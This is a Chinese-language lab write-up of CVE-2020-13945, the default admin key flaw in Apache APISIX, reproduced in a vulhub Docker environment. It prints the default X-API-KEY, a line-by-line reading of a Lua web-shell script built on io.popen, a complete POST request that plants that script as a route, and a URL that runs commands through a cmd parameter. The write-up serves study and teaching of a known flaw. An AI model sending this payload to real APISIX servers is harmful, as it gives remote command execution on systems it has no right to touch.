漏洞介绍

Apache APISIX是一个动态、实时、高性能的API网关,基于Nginx网络库和etcd实现,提供负载均衡、动态上游、灰度发布、服务熔断、身份认证、可观测性等丰富的流量管理功能。CVE-2020-13945是一个默认密钥漏洞,攻击者可以利用默认的管理员Token访问Apache APISIX的管理接口,进而通过script参数插入任意LUA脚本并执行。

漏洞范围

Apache APISIX 1.2

Apache APISIX 1.3

Apache APISIX 1.4

Apache APISIX 1.5

漏洞靶场

使用vulhub的靶场:

使用环境为APISIX 2.11.0

vulhub-master/apisix/CVE-2020-13945

启动靶场环境:

1
docker-compose up -d

漏洞原理

当使用者开启了Admin API,没有配置相应的IP访问策略,且没有修改配置文件Token的情况下,Apache APISIX将使用默认的管理员Token edd1c9f034335f136f87ad84b625c8f1。攻击者可以利用这个Token访问Apache APISIX的管理接口,进而通过script参数插入任意LUA脚本并执行。

image-20250517185604567

conf/config.yaml#L33-L37

查看官方文档,观察创建路由的方法

与payload对比,发现payload格式与官方创建路由一致,只是利用script插入了一段lua恶意脚本。

在 Apache APISIX 中,我们在 Route 实体中新增了 script 执行逻辑,可用于接收 Dashboard 生成的 Lua 函数并执行,它支持调用已有插件以复用代码。另外,它也作用于 HTTP 请求的生命周期中的各个阶段,如 access、header_filer、body_filter 等,系统会在相应阶段自动执行 script 函数对应阶段代码

在这里插入图片描述

接下来对lua脚本进行分析,\n是换行

1
2
3
4
5
6
7
8
9
local _M = {} \n function _M.access(conf, ctx)//在access阶段进行处理,检查如果达到的不健康次数超过了配置的最大次数,则就被break掉。这里没找到看得懂的资料。
local os = require('os')//加载os模块,用于进行文件操作
local args = assert(ngx.req.get_uri_args()) //assert()是断言,类似于try(),这里是获取uri中给的参数。
local f = assert(io.popen(args.cmd, 'r'))//io.popen()用于执行系统命令,'r'是模式
local s = assert(f:read('*a'))//读取全部内容
ngx.say(s)//输出,还有一种方法是ngx.print(),但两者有区别
f:close()
end
return _M

漏洞复现

环境启动成功后,访问 http://127.0.0.1:9080 即可查看到默认的404页面。

image-20250303160203792

使用Burp Suite抓包,利用默认Token增加一个恶意的router,
其中包含恶意LUA脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /apisix/admin/routes HTTP/1.1
Host: 192.168.159.132:9080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
X-API-KEY: edd1c9f034335f136f87ad84b625c8f1
Content-Type: application/json
Content-Length: 406

{
"uri": "/attack",
"script": "local _M = {} \n function _M.access(conf, ctx) \n local os = require('os')\n local args = assert(ngx.req.get_uri_args()) \n local f = assert(io.popen(args.cmd, 'r'))\n local s = assert(f:read('*a'))\n ngx.say(s)\n f:close() \n end \nreturn _M",
"upstream": {
"type": "roundrobin",
"nodes": {
"example.com:80": 1
}
}
}

image-20250303160342324

然后,我们访问刚才添加的router,就可以通过cmd参数执行任意命令:http://your-ip:9080/attack?cmd=id

image-20250303160429139

参考

https://www.cnblogs.com/zovt/p/16340367.html

Apache APISIX 默认密钥漏洞(CVE-2020-13945)-CSDN博客